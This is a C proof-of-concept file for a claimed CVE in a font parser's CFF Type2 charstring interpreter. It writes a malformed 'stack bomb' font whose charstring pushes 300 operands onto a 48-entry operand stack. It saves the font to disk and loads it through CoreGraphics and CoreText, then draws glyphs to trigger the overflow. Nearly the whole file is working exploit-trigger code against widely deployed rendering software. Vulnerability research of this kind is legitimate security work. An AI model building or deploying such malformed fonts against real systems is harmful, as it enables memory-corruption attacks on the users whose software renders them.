// font.cff · FontParser · Type2 charstring interpreter · CVE-2026-112683 // CFF operand stack push overflow // C twin of the Swift POC: builds the 300-operand stack bomb CFF, loads it through // CGFont/CTFont and draws glyphs to force the interpreter to run. // Build: clang -O2 -o cve-2026-112683 CVE-2026-112683.c -framework CoreText -framework CoreGraphics -framework CoreFoundation // Run: ./cve-2026-112683 [push-count] #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } // ── CFF INDEX (from CVE-2026-112683.py: index) ── static void cff_index(buf *out, const uint8_t *const *items, const size_t *lens, int count) { if (count == 0) { bput(out, 0); bput(out, 0); return; } size_t off = 1; size_t offs[33]; offs[0] = 1; for (int i = 0; i < count; i++) { off += lens[i]; offs[i + 1] = off; } int off_size = 1; if (off >= 0x10000) off_size = 2; else if (off >= 0x100) off_size = 1; // count fits // choose the smallest width that holds `off` if (off < 0x100) off_size = 1; else if (off < 0x10000) off_size = 2; else if (off < 0x1000000) off_size = 3; else off_size = 4; bput(out, (uint8_t)(count >> 8)); bput(out, (uint8_t)(count & 0xff)); bput(out, (uint8_t)off_size); for (int i = 0; i <= count; i++) { for (int k = off_size - 1; k >= 0; k--) bput(out, (uint8_t)((offs[i] >> (8 * k)) & 0xff)); } for (int i = 0; i < count; i++) bcat(out, items[i], lens[i]); } // 5-byte fixed-width DICT integer operand static void dict_int(buf *out, int32_t v) { bput(out, 29); bput(out, (uint8_t)(v >> 24)); bput(out, (uint8_t)(v >> 16)); bput(out, (uint8_t)(v >> 8)); bput(out, (uint8_t)v); } // ── seed construction (from CVE-2026-112683.py: build_cff) ── // one charstring pushes `push_count` operands before endchar; the interpreter's // operand stack is a fixed 48-entry array static buf cff_stack_bomb(int push_count) { buf out = {0}; bcat(&out, "\x01\x00\x04\x01", 4); // header: major 1, minor 0, hdrSize 4, offSize 1 // name index const uint8_t *names[1] = { (const uint8_t *)"CinderStackBomb" }; size_t name_lens[1] = { 15 }; buf name_index = {0}; cff_index(&name_index, names, name_lens, 1); // charstring: push_count × (139+1 = push 1), then endchar (14) buf cs = {0}; for (int i = 0; i < push_count; i++) bput(&cs, 140); bput(&cs, 14); const uint8_t *cs_items[1] = { cs.d }; size_t cs_lens[1] = { cs.n }; buf charstrings = {0}; cff_index(&charstrings, cs_items, cs_lens, 1); buf gsubrs = {0}; cff_index(&gsubrs, NULL, NULL, 0); buf strings = {0}; cff_index(&strings, NULL, NULL, 0); // Top DICT: CharStrings (op 17) + Private (op 18), absolute offsets, two-pass // layout: header | name | top | strings | gsubrs | charstrings | private size_t top_len_placeholder = 2 * 6 + 2; // two 5-byte ints + two 1-byte ops size_t top_off = 4 + name_index.n; size_t after_top = top_off + top_len_placeholder; size_t cs_off = after_top + strings.n + gsubrs.n; size_t priv_off = cs_off + charstrings.n; buf priv = {0}; bput(&priv, 0x00); // trivial private dict buf top = {0}; dict_int(&top, (int32_t)cs_off); bput(&top, 17); dict_int(&top, (int32_t)priv.n); dict_int(&top, (int32_t)priv_off); bput(&top, 18); // the real top dict length must match the placeholder used for layout buf top_index = {0}; const uint8_t *top_items[1] = { top.d }; size_t top_lens[1] = { top.n }; cff_index(&top_index, top_items, top_lens, 1); bcat(&out, name_index.d, name_index.n); bcat(&out, top_index.d, top_index.n); bcat(&out, strings.d, strings.n); bcat(&out, gsubrs.d, gsubrs.n); bcat(&out, charstrings.d, charstrings.n); bcat(&out, priv.d, priv.n); bfree(&name_index); bfree(&top_index); bfree(&strings); bfree(&gsubrs); bfree(&charstrings); bfree(&priv); bfree(&top); bfree(&cs); return out; } // ── trigger: CGFont + CTFont glyph draw ── #include #include #include int main(int argc, char **argv) { int push_count = argc > 1 ? atoi(argv[1]) : 300; buf cff = cff_stack_bomb(push_count); FILE *f = fopen("stack_bomb.cff", "wb"); if (f) { fwrite(cff.d, 1, cff.n, f); fclose(f); } CFDataRef cf = CFDataCreate(NULL, cff.d, (CFIndex)cff.n); CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf); CFRelease(cf); CGFontRef cg = CGFontCreateWithDataProvider(prov); CGDataProviderRelease(prov); if (!cg) { // a refusal is the informative result: which stage rejected the font printf("CVE-2026-112683 · font refused at the CGFont layer (before the interpreter)\n"); printf("seed: stack_bomb.cff (%zu B) · exit code 1\n", cff.n); bfree(&cff); return 1; } CTFontRef ct = CTFontCreateWithGraphicsFont(cg, 96, NULL, NULL); size_t glyphs = CGFontGetNumberOfGlyphs(cg); printf("font loaded: glyphs=%zu\n", glyphs); // drawing forces the charstring interpreter to run const int pixels = 256, bpr = pixels * 4; uint8_t *buffer = calloc((size_t)bpr * pixels, 1); CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr, CGColorSpaceCreateDeviceRGB(), kCGImageAlphaPremultipliedLast); int drawn = 0; size_t upper = glyphs < 8 ? glyphs : 8; for (size_t g = 1; g < upper; g++) { CGGlyph glyph = (CGGlyph)g; CGPoint pos = CGPointMake(20, 40 * (g + 1)); CTFontDrawGlyphs(ct, &glyph, &pos, 1, ctx); drawn++; } printf("CVE-2026-112683 · drew %d glyph(s), %d operands vs stack capacity 48\n", drawn, push_count); CGContextRelease(ctx); free(buffer); CFRelease(ct); CGFontRelease(cg); printf("seed: stack_bomb.cff (%zu B) · exit code 0\n", cff.n); bfree(&cff); return 0; }